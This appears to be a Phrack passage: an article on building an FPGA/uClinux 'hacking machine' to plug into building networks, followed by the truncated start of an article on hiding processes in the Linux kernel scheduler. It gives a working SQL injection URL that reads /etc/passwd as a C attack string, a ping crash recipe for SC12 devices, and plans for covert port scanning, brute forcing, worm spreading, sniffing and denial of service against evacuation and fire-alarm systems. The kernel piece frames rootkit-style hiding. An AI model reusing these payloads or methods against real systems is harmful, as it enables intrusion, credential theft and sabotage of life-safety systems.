systems, mobile devices such as handphone/smartphone and PDA/XDA are going
to be the necessity in human life. However, the growing of 3G is not as
good as what is planning initially. The slow adoption in 3G is because it
is lacking of direct compatibility to TCP/IP. As a result, 4G with Wimax
technology is more likely to look forward by communication industry
regarding to its wireless broadband with OFDM.
Obviously, the development trend of embedded systems application is
going to be convergence - by applying TCP/IP as "protocol glue" for
inter-media interfacing purpose. Since the deployment of IPv6 will cause
an unreasonable overshooting cost, so the widespread of IPv6 products
still needs some extra times to be negotiated.
As a result, IPv4 will continue to dominate the world of networking,
especially in embedded applications. As what we know, the brand-old
IPv4 is being challenged by its native security problems in terms of
confidentiality, integrity, and authentication.
Extra value added modules such as SSL and SSH would be the best solution
to protect most of the attacks such as Denial of Service, hijacking,
spooling, sniffing, and etc. However, the implementation of such value
added module in embedded system is optional because it is lacking of
available hardware resources. For example, it is not reasonable to
implement SSL in SitePlayer[1] for a complicated web-based control and
monitoring system by considering the available flash and memory that
can be utilized.
By the time of IPv4 is going to conquer the embedded system's world,
the native characteristic of IPv4 and the reduced structure of embedded
system would be problems in security consideration.
These would probably a hidden timer-bomb that is waiting to be exploited.
As an example, by simply performing port scan with pattern recognition to
a range of IP address, any of the running SC12 IPC@CHIP[2] can be
identified and exposed. Once the IP address of a running SC12 is confirmed,
by applying a sequence of five ping packet with the length of 65500 is
sufficient to crash it until reset.
--[ 2. - Architectures Classification
With the advent of commodity electronics in the 1980s, digital utility
began to proliferate beyond the world of technology and industry. By its
nature digital signal can be represented exactly and easily, which gives
it much more utility. In term of digital system design, programmable
logic has a primary advantage over custom gate arrays and standard cells
by enabling faster time-to-complete and shorter design cycles. By using
software, digital design can be programmed directly into programmable
logic and allowing making revisions to the design relatively quickly.
The two major types of programmable logic devices are Field Programmable
Logic Arrays (FPGAs) and Complex Programmable Logic Devices (CPLDs).
FPGAs offer the highest amount of logic density, the most features,
and the highest performance. These advanced devices also offer features
such as built-in hardwired processors (such as the IBM Power PC),
substantial amounts of memory, clock management systems, and support
for many of the latest very fast device-to-device signaling technologies.
FPGAs are used in a wide variety of applications ranging from data
processing and storage, instrumentation, telecommunications, and digital
signal processing. Instead, CPLDs offer much smaller amounts of logic
(approximately 10,000 gates). But CPLDs offer very predictable timing
characteristics and are therefore ideal for critical control applications.
Besides, CPLDs also require extremely low amounts of power and are very
inexpensive.
Well, it is the time to discuss about Hardware Description Language
(HDL). HDL is a software programming language used to model the intended
operation of a piece of hardware. There are two aspects to the description
of hardware that an HDL facilitates: true abstract behavior modeling and
hardware structure modeling. The behavior of hardware may be modeled and
represented at various levels of abstraction during the design process.
Higher level models describe the operation of hardware abstractly, while
lower level models include more detail, such as inferred hardware
structure. There are two types of HDL: VHDL and Verilog-HDL. The history
of VHDL started from 1980 when the USA Department of Defence (DoD) wanted
to make circuit design self documenting, follow a common design methodology
and be reusable with new technologies. It became clear there was a need for
a standard programming language for describing the function and structure
of digital circuits for the design of integrated circuits (ICs). The DoD
funded a project under the Very High Speed Integrated Circuit (VHSIC)
program to create a standard hardware description language.
The result was the creation of the VHSIC hardware description language or
VHDL as it is now commonly known. The history of Verilog-HDL started from
1981, when a CAE software company called Gateway Design Automation that was
founded by Prabhu Goel. One of the Gateway's first employees was Phil
Moorby, who was an original author of GenRad's Hardware Description
Language (GHDL) and HILO simulator. On 1983, Gateway released the Verilog
Hardware Description Language known as Verilog-HDL or simply Verilog
together with a Verilog simulator. Both VHDL and Verilog-HDL are reviewed
and adopted by IEEE as IEEE standard 1076 and 1364, respectively.
Modern hardware implementation of embedded systems can be classified
into two categories: hardcore processing and softcore processing. Hardcore
processing is a method of applying hard processor(s) such as ARM, MIPS,
x86, and etc as processing unit with integrated protocol stack.
For example, SC12 with x86, IP2022 with Scenix RISC, eZ80, SitePlayer
and Rabbit are dropped in the category of hardcore processing.Instead,
softcore processing is applying a synthesizable core that can be targeted
into different semiconductor fabrics. The semiconductor fabrics should be
programmable as what FPGA and CPLD do. Altera[3] and Xilinx[4] are the
only FPGA/CPLD manufacturers in the market that supporting softcore
processor. Altera provides NIOS processor that can be implemented in SOPC
Builder that is targeted to its Cyclone and Stratix FPGAs. Xilinx provides
two types of softcore: Picoblaze, that is targeted to its CoolRunner-2
CPLD; and Microblaze, that is targeted to its Spartan and Virtex FPGAs.
For the case of FPGAs with embedded hardcore, for example ARM-core in
Stratix, and MIPS-core in Virtex are classified as embedded hardcore
processing. On the other hand, FPGAs with embedded softcore such as
NIOS-core in Cyclone or Stratix, and Microblaze-core in Spartan or Virtex
are classified as softcore processing. Besides, the embedded softcore can
be associated with others synthesizable peripherals such as DMA controller
for advanced processing purpose.
In general, the classical point of view regarding to the hardcore
processing might assuming it is always running faster than softcore
processing. However, it is not the fact. Processor performance is often
limited by how fast the instruction and data can be pipelined from external
memory into execution unit. As a result, hardcore processing is more
suitable for general application purpose but softcore processing is more
liable to be used in customized application purpose with parallel
processing and DSP. It is targeted to flexible implementation in adaptive
platform.
--[ 3. - Hacking with Embedded System
When the advantages of softcore processing are applied in hacking, it
brings out more creative methods of attack, the only limitation is the
imagination. Richard Clayton had shown the method of extracting a 3DES key
from an IBM 4758 that is running Common Cryptographic Architecture
(CCA)[5]. The IBM 4758 with its CCA software is widely used in the banking
industry to hold encryption keys securely. The device is extremely
tamper-resistant and no physical attack is known that will allow keys to be
accessed. According to Richard, about 20 minutes of uninterrupted access to
the IBM 4758 with Combine_Key_Parts permission is sufficient to export the
DES and 3DES keys. For convenience purpose, it is more likely to implement
an embedded system with customized application to get the keys within the
20 minutes of accessing to the device. An evaluation board from Altera was
selected by Richard Clayton for the purpose of keys exporting and
additional two days of offline key cracking.
In practice, by using multiple NIOS-core with customized peripherals
would provide better performance in offline key cracking. In fact,
customized parallel processing is very suitable to exploit both symmetrical
and asymmetrical encrypted keys.
--[ 4. - Hacking with Embedded Linux
For application based hacking, such as buffer overflow and SQL
injection, it is more preferred to have RTOS installed in the embedded
system. For code reusability purpose, embedded linux would be the best
choice of embedded hacking platform. The following examples have clearly
shown the possible attacks under an embedded platform. The condition of
the embedded platform is come with a Nios-core in Stratix and uClinux
being installed. By recompiling the source code of netcat and make it run
in uClinux, a swiss army knife is created and ready to perform penetration
as listed below: -
a) Port Scan With Pattern Recognition
A list of subnet can be defined initially in the embedded system
and bring it into a commercial building. Plug the embedded system
into any RJ45 socket in the building, press a button to perform port
scan with pattern recognition and identify any vulnerable network
embedded system in the building. Press another button to launch attack
(Denial of Service) to the target network embedded system(s). This
is a serious problem when the target network embedded system(s) is/are
related to the building evacuation system, surveillance system or
security system.
b) Automatic Brute-Force Attack
Defines server(s) address, dictionary, and brute-force pattern
in the embedded system. Again, plug the embedded system into any RJ45
socket in the building, press a button to start the password guessing
process. While this small box of embedded system is located in a hidden
corner of any RJ45 socket, it can perform the task of cracking over
days, powered by battery.
c) LAN Hacking
By pre-identify the server(s) address, version of patch, type
of service(s), a structured attack can be launched within the area
of the building. For example, by defining:
http://192.168.1.1/show.php?id=1%20and%201=2%20union%20select%20
8,7,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),5,4,
3,2,1
**char(47,101,116,99,47,112,97,115,115,119,100) = /etc/passwd
in the embedded system initially. Again, plug the embedded system into
any RJ45 socket in the building (within the LAN), press a button to
start SQL injection attack to grab the password file of the Unix
machine (in the LAN). The password file is then store in the flash
memory and ready to be loaded out for offline cracking. Instead of
performing SQL injection, exploits can be used for the same
purpose.
d) Virus/Worm Spreading
The virus/worm can be pre-loaded in the embedded system. Again,
plug the embedded system into any RJ45 socket in the building, press a
button to run an exploit to any vulnerable target machine, and load the
virus/worm into the LAN.
e) Embedded Sniffer
Switch the network interface from normal mode into promiscuous mode
and define the sniffing conditions. Again, plug the embedded system
into any RJ45 socket in the building, press a button to start the
sniffer. To make sure the sniffing process can be proceed in switch
LAN, ARP sniffer is recommended for this purpose.
--[ 5. - "Hacking Machine" Implementation In FPGA
The implementation of embedded "hacking machine" will be demonstrated
in Altera's NIOS development board with Stratix EP1S10 FPGA. The board
provides a 10/100-base-T ethernet and a compact-flash connector. Two
RS-232 ports are also provided for serial interfacing and system
configuration purposes, respectively. Besides, the onboard 1MB of SRAM,
16MB of SDRAM, and 8MB of flash memory are ready for embedded linux
installation[6]. The version of embedded linux that is going to be applied
is uClinux from microtronix[7].
Ok, that is the specification of the board. Now, we start our journey
of "hacking machine" design. We use three tools provided by Altera to
implement our "hardware" design. In this case, the term of "hardware" means
it is synthesizable and to be designed in Verilog-HDL. The three tools
being used are: QuartusII ( as synthesis tool), SOPC Builder (as
Nios-core design tool), and C compiler. Others synthesis tools such as
leonardo-spectrum from mentor graphic, and synplify from synplicity are
optional to be used for special purpose. In this case, the synthesized
design in edif format is defined as external module. It is needed to import
the module from QuartusII to perform place-and-route (PAR). The outcome of
PAR is defined as hardware-core. For advanced user, Modelsim from mentor
graphic is highly recommended to perform behavioral simulation and Post-PAR
simulation. Behavioral simulation is a type of functional verification to
the digital hardware design. Timing issues are not put into the
consideration in this state. Instead, Post-PAR simulation is a type of
real-case verification. In this state, all the real-case factors such as
power-consumption and timing conditions (in sdf format) are put into the
consideration. [8,9,10,11,12]
A reference design is provided by microtronix and it is highly
recommended to be the design framework for any others custom design with
appropriate modifications [13]. Well, for our "hacking machine" design
purpose, the only modification that we need to do is to assign the
interrupts of four onboard push-buttons [14]. So, once the design
framework is loaded into QuartusII, SOPC Builder is ready to start
the design of Nios-core, Boot-ROM, SRAM and SDRAM inteface, Ethernet
interface, compact-flash interface and so on. Before starting to generate
synthesizable codes from the design, it is crucial to ensure the check-box
of "Microtronix uClinux" under Software Components is selected (it is in
the "More CPU Settings" tab of the main configuration windows in SOPC
Builder). By selecting this option, it is enabling to build a uClinux
kernel, uClibc library, and some uClinux's general purpose applications by
the time of generating synthesizable codes. Once ready, generate the design
as synthesizable codes in SOPC Builder following by performing PAR in
QuartusII to get a hardware core. In general, there are two formats of
hardware core:-
a) .sof core: To be downloaded into the EP1S10 directly by JTAG and
will require a re-load if the board is power cycled
**(Think as volatile)
b) .pof core: To be downloaded into EPC16 (enhanced configuration
device) and will automatically be loaded into the
FPGA every time the board is power cycled
**(Think as non-volatile)
The raw format of .sof and .pof hardware core is .hexout. As hacker,
we would prefer to work in command line, so we use the hexout2flash tool
to convert the hardware core from .hexout into .flash and relocate the
base address of the core to 0x600000 in flash. The 0x600000 is the startup
core loading address of EP1S10. So, once the .flash file is created, we
use nios-run or nr command to download the hardware core into flash memory
as following:
[Linux Developer] ...uClinux/: nios-run hackcore.hexout.flash
After nios-run indicates that the download has completed successfully,
restart the board. The downloaded core will now start as the default core
whenever the board is restarted.
Fine, the "hardware" part is completed. Now, we look into the
"software" implementation. We start from uClinux. As what is stated, the
SOPC Builder had generated a framework of uClinux kernel, uClibc library,
and some uClinux general purpose applications such as cat, mv, rm, and etc.
We start to reconfigure the kernel by using "make xconfig".
[Linux Developer] ...uClinux/: cd linux
[Linux Developer] ...uClinux/: make xconfig
In xconfig, perform appropriate tuning to the kernel, then use
"make clean" to clean the source tree of any object files.
[Linux Developer] ...linux/: make clean
To start building a new kernel use "make dep" following by "make".
[Linux Developer] ...linux/: make dep
[Linux Developer] ...linux/: make
To build the linux.flash file for uploading, use "make linux.flash".
[Linux Developer] ...uClinux/: make linux.flash
The linux.flash file is defined as the operating system image.
As what we know, an operating system must run with a file system.
So, we need to create a file system image too. First, edit the config
file in userland/.config to select which application packages get
built. For example:
#TITLE agetty
CONFIG_AGETTY=y
If an application package's corresponding variable is set to 'n'
(for example, CONFIG_AGETTY=n), then it will not be built and copied
over to the target/ directory. Then, build all application packages
specified in the userland/.config as following:
[Linux Developer] ...userland/: make
Now, we copy the pre-compiled netcat into target/ directory.
After that, use "make romfs" to start generating the file system or
romdisk image.
[Linux Developer] ...uClinux/: make romfs
Once completed, the resulting romdisk.flash file is ready to be
downloaded
to the target board. First, download the file system image following by
the operating system image into the flash memory.
[Linux Developer] ...uClinux/: nios-run -x romdisk.flash
[Linux Developer] ...uClinux/: nios-run linux.flash
Well, our FPGA-based "hacking machine" is ready now.
Lets try to make use of it to a linux machine with /etc/passwd
enabled. We assume the ip of the target linux machine is 192.168.1.1
as web server in the LAN that utilize MySQL database. Besides, we know
that its show.php is vulnerable to be SQL injected. We also assume it has
some security protections to filter out some dangerous symbols, so we
decided to use char() method of injection. We assume the total columns in
the table that access by show.php is 8.
Now, we define:
char getpass[]="http://192.168.1.1/show.php?id=1%20and%201=2%20union
%20select%208,7,load_file(char(47,101,116,99,47,112,97,115,115,119,
100)),5,4,3,2,1";
as attacking string, and we store the respond data (content of
/etc/passwd) in a file name of password.dat. By creating a pipe to the
netcat, and at the same time to make sure the attacking string is always
triggered by the push-button, well, our "hacking machine" is ready.
Plug the "hacking machine" into any of the RJ45 socket in the LAN,
following by pressing a button to trigger the attacking string against
192.168.1.1. After that, unplug the "hacking machine" and connect to a
pc, download the password.dat from the "hacking machine", and start the
cracking process. By utilizing the advantages of FPGA architecture,
a hardware cracker can be appended for embedded based cracking process.
Any optional module can be designed in Verilog-HDL and attach to the
FPGA for all-in-one hacking purpose. The advantages of FPGA implementation
over the conventional hardcore processors will be deepened in the
following section, with a lot of case-studies, comparisons and
wonderful examples.
Tips:
**FTP server is recommended to be installed in "hacking machine"
because of two reasons:
1) Any new or value-added updates (trojans, exploits, worms,...) to
the "hacking machine" can be done through FTP (online update).
2) The grabbed information (password files, configuration files,...)
can be retrieved easily.
Notes:
**Installation of FTP server in uClinux is done by editing
userland/.config file to enable the ftpd service.
**This is just a demostration, it is nearly impossible to get a
unix/linux machine that do not utilize file-permission and shadow
to protect the password file. This article is purposely to show
the migration of hacking methodology from PC-based into embedded
system based.
--[ 6. - What The Advantages Of Using FPGA In Hacking ?
Well, this is a good question while someone will ask by using a $50
Rabbit module, a 9V battery and 20 lines of Dynamic C, a simple "hacking
machine" can be implemented, instead of using a $300 FPGA development
board and a proprietary embedded processor with another $495. The answer
is, FPGA provides a very unique feature based on its architecture that is
able to be hardware re-programmable.
As what we know, FPGA is a well known platform for algorithm
verification in hardware implementation, especially in DSP applications.
The demand for higher bit rates by the wired and wireless communications
industry has led to the development of higher bit rate and low cost serial
link interface chips. Based on such considerations, some demands of
programmable channel and band scanning are needed to be digitized and
re-programmable. A new term has been created for this type of framework
as "software defined radio" or SDR. However, the slow adoption of SDR is
due to the limitation in Analog-to-Digital Converter(ADC) to digitize
the analog demodulation unit in transceiver module.
Although the sampling rate of the most advanced ADC is not yet to meet
the specification of SDR, but it will come true soon. In this case, the
application of conventional DSP chips such as TMS320C6200 (for
fixed-point processing) and TMS320C6700 (for floating-point processing)
are a little bit harder to handle such extremely high bit rates. Of
course, someone may claim its parallel processing technique could solve
the problem by using the following symbols in linear assembly language[15].
Inst1
|| Inst2
|| Inst3
|| Inst4
|| Inst5
|| Inst6
Inst7
The double-pipe symbols (||) indicate instructions that are in parallel
with a previous instruction. Inst2 to Inst6, these five instructions run
in parallel with the first instruction, Inst1. In TMS320, up to eight
instructions can be running in parallel. However, this is not a true
parallel method, but perform pipelining in different time-slot within a
single clock cycle.
Instead, the true parallel processing can only be implemented with
different sets of hardware module. So, FPGA should be the only solution to
implement a true parallel processing architecture. For the case of SDR that
is mentioned, it is just a an example to show the limitation of data
processing in the structure of resource sharing. Meanwhile, when we
consider to implement an encryption module, it is the same case as what
data processing do. The method of parallel processing is extremely worth to
enhance the time of key cracking process. Besides, it is significant to
know that the implementation of encryption module in FPGA is
hardware-driven. It is totally free from the limitation of any hardcore
processor structure that is using a single instruction pointer (or program
counter) to performing push and pop operations interactively over the stack
memory. So, both of the mentioned advantages: true-parallel processing, and
hardware-driven, are nicely clarified the uniqueness of FPGA's architecture
for advanced applications.
While we go further with the uniqueness of FPGA's architecture,
more and more interesting issues can come into the discussion.
For hacking purpose, we focus and stick to the discussion of utilizing
the ability of hardware re-programmable in a FPGA-based "hacking machine".
We ignore the ability of "software re-programmable" here because it can be
done by any of the hardcore processor in the lowest cost. By applying the
characterictic of hardware re-programmable, a segment of space in flash
memory is reserved for hardware image. In Nios, it is started from
0x600000. This segment is available to be updated from remote through the
network interface. In advanced mobile communication, this type of feature
is started to be used for hardware bug-fix as well as module update [16]
purpose. It is usually known as Over-The-Air (OTA) technology. For hacking
purpose, the characteristic of hardware re-programmable had made our
"hacking machine" to be general purpose. It can come with a hardware-driven
DES cracker, and easily be changed to MD5 cracker or any other types of
hardware-driven module. Besides, it can also be changed from an online
cracker to be a proxy, in a second of time.
In this state, the uniqueness of FPGA's architecture is clear now.
So, it is the time to start the discussion of black magic with the
characteristic of hardware re-programmable in further detail. By using
Nios-core, we explore from two points: custom instruction and user
peripheral. A custom instruction is hardware-driven and implemented by
custom logic as shown below:
|---->|------------|
| |Custom Logic|-|
| |-->|------------| |
| | |
| | |----------------||
A ---->| |-|
| | Nios-ALU | |----> OUT
B ---->| |-|
|-----------------|
By defining a custom logic that is parallel connected with Nios-ALU inputs,
a new custom instruction is successfully created. With SOPC Builder, custom
logic can be easily add-on and take-out from Nios-ALU, and so is the case
of custom instruction. Now, we create a new custom instruction, let say
nm_fpmult(). We apply the following codes:
float a, b, result_slow, result_fast;
result_slow = a * b; //Takes 2874 clock cycles
result_fast = nm_fpmult(a, b); //Takes 19 clock cycles
From the running result, the operation of hardware-based multiplication
as custom instruction is so fast that is even faster than a DSP chip.
For cracking purpose, custom instructions set can be build up in respective
to the frequency of operations being used. The instructions set is easily
to be plugged and unplugged for different types of encryption being
adopted.
The user peripheral is the second black magic of hardware
re-programmable. As we know Nios-core is a soft processor, so a bus
specification is needed for the communication of soft processor with other
peripherals, such as RAM, ROM, UART, and timer. Nios-core is using a
proprietary bus specification, known as Avalon-bus for
peripheral-to-peripheral and Nios-core-to-peripheral communication purpose.
So, user peripherals such as IDE and USB modules are usually be designed to
expand the usability of embedded system. For hacking purpose, we ignore the
IDE and USB peripherals because we are more interested to design user
peripheral for custom communication channel synchronization. When we
consider to hack a customize system such as building automation, public
addressing, evacuation, security, and so on, the main obstacle is its
proprietary communication protocol [17, 18, 19, 20, 21, 22].
In such case, a typical network interface is almost impossible to
synchronize into the communication channel of a customize system.
For example, a system that is running at 50Mbps, neither a 10Based-T
nor 100Based-T network interface card can communicate with any module
within the system. However, by knowing the technical specification of such
system, a custom communication peripheral can be created in FPGA. So, it is
able to synchronize our "hacking machine" into the communication channel of
the customize system. By going through the Avalon-bus, Nios-core is
available to manipulate the data-flow of the customize system. So, the
custom communication peripheral is going to be the customize media gateway
of our "hacking machine". The theoretical basis of custom communication
peripheral is come from the mechanism of clock data recovery (CDR). CDR is
a method to ensure the data regeneration is done with a decision circuit
that samples the data signal at the optimal instant indicated by a clock.
The clock must be synchronized as exactly the same frequency as the data
rate, and be aligned in phase with respect to the data. The production of
such a clock at the receiver is the goal of CDR. In general, the task of
CDR is divided into two: frequency acquisition and timing alignment.
Frequency acquisition is the process that locks the receiver clock
frequency to the transmitted data frequency. Timing alignment is the phase
alignment of the clock so the decision circuit samples the data at the
optimal instant. Sometime, it is also named as bit synchronization or phase
locking. Most timing alignment circuits can perform a limited degree of
frequency acquisition, but additional acquisition aids may be needed. Data
oversampling method is being used to create the CDR for our "hacking
machine". By using the method of data oversampling, frequency acquisition
is no longer be put into the design consideration. By ensuring the sampling
frequency is always N times over than data rate, the CDR is able to work as
normal. To synchronize multiple of customize systems, a frequency synthesis
unit such as PLL is recommended to be used to make sure the sampling
frequency is always N times over than data rate. A framework of CDR
based-on the data oversampling method with N=4 is shown as following in
Verilog-HDL.
**The sampling frequency is 48MHz (mclk), which is 4 times of
data rate (12MHz).
//define input and output
input data_in;
input mclk;
input rst;
output data_buf;
//asynchronous edge detector
wire reset = (rst & ~(data_in ^ capture_buf));
//data oversampling module
reg capture_buf;
always @ (posedge mclk or negedge rst)
if (rst == 0)
capture_buf <= 0;
else
capture_buf <= data_in;
//edge detection module
reg [1:0] mclk_divd;
always @ (posedge mclk or negedge reset or posedge reset)
if (reset == 0)
mclk_divd <= 2'b00;
else
mclk_divd <= mclk_divd + 1;
//capture at data eye and put into a 16-bit buffer
reg [15:0] data_buf;
always @ (posedge mclk_divd[1] or negedge rst)
if (rst == 0)
data_buf <= 0;
else
data_buf <= {data_buf[14:0],capture_buf};
Once the channel is synchronized, the data can be transferred to
Nios-core through the Avalon-Bus for further processing and interaction.
The framework of CDR is plenty worth for channel synchronization in various
types of custom communication channels. Jean P. Nicolle had shown another
type of CDR for 10Base-T bit synchronization [23]. As someone might query
for the most common approach of performing CDR channel synchronization in
Phase-Locked Loop (PLL). Yes, this is a type of well known analog approach,
by we are more interested to the digital approach, with the reason of
hardware re-programmable - our black magic of FPGA. For those who
interested to know more advantages of digital CDR approach over the analog
CDR approach can refer to [24]. Anyway, the analog CDR approach is the only
option for a hardcore-based (Scenix, Rabbit, SC12 ,...) "hacking machine"
design, and it is sufferred to:
1. Longer design time for different data rate of the communication link.
The PLL lock-time to preamble length, charge-pump circuit design,
Voltage Controlled Oscillator (VCO), are very critical points.
2. Fixed-structure design. Any changes of "hacking application" need
to re-design the circuit itself, and it is quite cumbersome.
As a result, by getting a detail technical specification of a
customized system, the possibility to hack into the system has always
existed, especially to launch the Denial of Service attack. By disabling
an evacuation system, or a fire alarm system at emergency, it is a very
serious problem than ever. Try to imagine, when different types of CDRs
are implemented in a single FPGA, and it is able to perform automatic
switching to select a right CDR for channel synchronization. On the other
hand, any custom defined module is able to plug into the system itself
and freely communicate through Avalon-bus. Besides, the generated hardware
image is able to be downloaded into flash memory through tftp. By following
with a soft-reset to re-configure the FPGA, the "hacking machine" is
successfully updated. So, it is ready to hack multiple of custom systems at
the same time.
case study:
**The development of OPC technology is slowly become popular.
According to The OPC Foundation, OPC technology can eliminate
expensive custom interfaces and drivers tranditionally required
for moving information easily around the enterprise. It promotes
interoperability, including amongst different computing solutions
and platforms both horizontally and vertically in the emterprise [25].
--[ 7. - What Else Of Magic That Embedded Linux Can Do ?
So, we know the weakness of embedded system now, and we also know
how to utilize the advantages of embedded system for hacking purpose.
Then, what else of magic that we can do with embedded system? This is a
good question.
By referring to the development of network applications, ubiquitous
and pervasive computing would be the latest issues. Embedded system would
probably to be the future framework as embedded firewall, ubiquitous
gateway/router, embedded IDS, mobile device security server, and so on.
While existing systems are looking for network-enabled, embedded system
had established its unique position for such purpose. A good example is
migrating MySQL into embedded linux to provide online database-on-chip
service (in FPGA) for a building access system with RFID tags. Again,
the usage and development of embedded system has no limitation, the only
limitation is the imagination.
Tips:
**If an embedded system works as a server (http, ftp, ...), it is going
to provide services such as web control, web monitoring,...
**If an embedded system works as a client (http, ftp, telnet, ..), then
it is more likely to be a programmable "hacking machine"
--[ 8. - Conclusion
Embedded system is an extremely useful technology, because we can't
expect every processing unit in the world as a personal computer. While
we are begining to exploit the usefullness of embedded system, we need
to consider all the cases properly, where we should use it and where we
shouldn't use it. Embedded security might be too new to discuss seriously
now but it always exist, and sometime naive. Besides, the abuse of embedded
system would cause more mysterious cases in the hacking world.
--=[ References
[1] http://www.siteplayer.com/
[2] http://www.beck-ipc.com/
[3] http://www.altera.com/
[4] http://www.xilinx.com/
[5] http://www.cl.cam.ac.uk/users/rnc1/descrack/index.html
[6] Nios Development Kit, Stratix Edition: Getting Started User Guide
(Version 1.2) - July 2003
http://www.altera.com/literature/ug/ug_nios_gsg_stratix_1s10.pdf
[7] http://www.microtronix.com/
[8] Nios Hardware Development Tutorial (Version 1.1) -
July 2003
http://www.altera.com/literature/tt/tt_nios2_hardware_tutorial.pdf
[9] Nios Software Development Tutorial (Version 1.3) -
July 2003
http://www.altera.com/literature/tt/tt_nios_sw.pdf
[10] Designing With The Nios (Part 1) -
Second-Order, Closed-Loop Servo Control
Circuit Cellar, #167, June 2004
[11] Designing With The Nios (Part 2) -
System Enhancement
Circuit Cellar, #168, July 2004
[12] Nios Tutorial (Version 1.1)
February 2004
http://www.altera.com/literature/tt/tt_nios_hw_apex_20k200e.pdf
[13] Microtronix Embedded Linux Development -
Getting Started Guide: Document Revision 1.2
http://www.pldworld.com/_altera/html/_excalibur/niosldk/httpd/
getting_started_guide.pdf
[14] Stratix EP1S10 Device: Pin Information
February 2004
http://www.fulcrum.ru/Read/CDROMs/Altera/literature/lit-stx.html
[15] TMS320C6000 Assembly Language Tools User's Guide
http://www.tij.co.jp/jsc/docs/dsps/support/download/tools/
toolspdf6000/spru186i.pdf
[16] Dynamic Spectrum Allocation In Composite Reconfigurable Wireless
Networks
IEEE Communications Magazine, May 2004.
http://ieeexplore.ieee.org/iel5/35/28868/01299346.pdf?tp=&arnumber=
1299346&isnumber=28868
[17] TOA - VX-2000 (Digital Matrix System)
http://www.toa-corp.co.uk/asp/catalogue/products.asp?prodcode=VX-2000
[18] Klotz Digital - Vadis (Audio Matrix), VariZone (Complex Digital
PA System For Emergency Evacuation Applications)
http://www.klotz-digital.de/products/pa.htm
[19] Peavey - MediaMatrix System
http://mediamatrix.peavey.com/home.cfm
[20] Optimus - Optimus (Audio & Communication), Improve
(Distributed Audio)
http://www.optimus.es/eng/english.html
[21] Simplex - TrueAlarm (Fire Alarm Systems)
http://www.simplexgrinnell.com/
[22] Tyco - Fire Detection and Alarm, Integrated Security Systems,
Health Care Communication Systems
http://www.tycosafetyproducts-us.com
[23] 10Base-T FPGA Interface - Ethernet Packets: Sending and Receiving
http://www.fpga4fun.com/10BASE-T.html
[24] Ethernet Receiver
http://www.holmea.demon.co.uk/Ethernet/EthernetRx.htm
[25] The OPC Foundation
http://www.opcfoundation.org/
[26] www.ubicom.com (IP2022)
[27] http://www.zilog.com/products/family.asp?fam=218 (eZ80)
[29] http://www.fpga4fun.com/
[29] http://www.elektroda.pl/eboard
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x12 of 0x14
|=------=[ hiding processes ( understanding the linux scheduler ) ]=----=|
|=-----------------------------------------------------------------------=|
|=------------=[ by ubra from PHI Group -- 17 October 2004 ]=-----------=|
|=-----=[ mail://ubra_phi.group.za.org http://w3.phi.group.za.org ]=----=|
--[ Table of contents
1 - looking back
2 - the schedule(r) inside
3 - abusing the silence ( attacking )
4 - can you scream ? ( countering )
5 - references
6 - and the game dont stop..
7 - sources
--[ 1 - looking back
We begin our journey in the old days, when simply giving your
process a weird name was enough to hide inside the tree. Sadly this is
also quite effective these days due to lack of skill from stock admins.
In the last millenium ..well actualy just before 1999, backdooring
binaries was very popular (ps, top, pstree and others [1]) but this was
very easy to spot, `ls -l` easy / although some could only be cought by
a combination of size and some checksum / (i speak having in mind the
skilled admin, because, in my view, an admin that isnt a bit hackerish
is just the guy mopping up the keyboard). And it was a pain in the ass
compatibility wise.
LRK (linux root kit) [2] is a good example of a "binary" kit.
Not that long ago hackers started to turn towards the kernel to do their
evil or to secure it. So,like everywhere this was an incremental process,
starting from the upper level and going more inside kernel structures.
The obvious place to look first were system calls, the entry point from
userland to wonderland, and so the hooking method developed, be it by
altering the sys_call_table[] (theres an article out there LKM_HACKING
by pragmatic from THC about this [3]), or placing a jump inside the
function body to your own code (developed by Silvio Cesare [4]) or even
catching them at interrupt level (read about this in [5]).. and with this,
one could intercept certain interesting system calls.
But syscalls are by no means the last (first) point where the pid
structures get assembled. getdents() and alike are just calling on some
other function, and they are doing this by means of yet another layer,
going through the so called VFS. Hacking this VFS (Virtual FileSystem
layer) is the new trend on todays kits; and since all unices are basicaly
comprised of the same logical layers, this is (was) very portable. So as
you see we are building from higher levels, programming wise, to lower
levels; from simply backdoring the source of our troubles to going closer
to the root, to the syscalls (and the functions that are
"syscall-helpers"). The VFS is not by all means as low as we can go
(hehe we hackers enjoy rolling in the mud of the kernel). We yet have to
explore the last frontier (well relatively speaking any new frontier is
the last). Yup, the very structures that help create the pid list -
the task_structs. And this is where our journey
begins.
Some notes.. kernel studied is from 2.4 branch (2.4.18 for source
excerpts and 2.4.30 for patches and example code), theres some x86
specific code (sorry, i dont have access to other archs), also SMP is
not discussed for the same reason and anyway it should be clear in the
end what will be different from UP machines.
/*
it seems the method i explain here is begining to emerge in part
into the open underground in zero rk made by stealth from team teso, theres
an article about it in phrack 61 [6], i was just about to miss the small
REMOVE_LINKS looking so innocent there :-)
*/
--[ 2 - the schedule(r) inside
As processes give birth to other processes (just like in real life)
they call on execve() or fork() syscalls to either get replaced or get
splited into two different processes, a few things happen. We will look
into fork as this is more interesting from our point of view.
$ grep -rn sys_fork src/linux/
For i386 compatible archs which is what I have, you will see that
without any introduction this function calls do_fork() which is where the
arch independent work gets done. It is in kernel/fork.c.
<codesnip src="arch/i386/kernel/process.c" line=747>
asmlinkage int sys_fork(struct pt_regs regs)
{
return do_fork(SIGCHLD, regs.esp, ®s, 0);
}
</codesnip src="arch/i386/kernel/process.c">
Besides great things which are not within the scope of this here,
do_fork() allocates memory for a new task_struct
<codesnip src="kernel/fork.c" line=587>
int do_fork(unsigned long clone_flags, unsigned long stack_start,
struct pt_regs *regs, unsigned long stack_size)
{
.......
struct task_struct *p;
.......
p = alloc_task_struct();
</codesnip src="kernel/fork.c">
and does some stuff on it like initializing the run_list,
<codesnip src="kernel/fork.c" line=653>
INIT_LIST_HEAD(&p->run_list);
</codesnip src="kernel/fork.c">
which is basicaly a pointer (you should read about the linux linked list
implementation to grasp this clearly [7]) that will be used in a linked
list of all the processes waiting for the cpu and those expired (that got
the cpu taken away, not released it willingly by means of schedule()),
used inside the schedule() function.
The current priority array of what task queue we are in
<codesnip src="kernel/fork.c" line=687>
p->array = NULL;
</codesnip src="kernel/fork.c">
(well we arent in any yet); the prio array and the runqueues are used
inside the schedule() function to organize the tasks running and needing to
be run.
<codesnip src="kernel/sched.c" line=124>
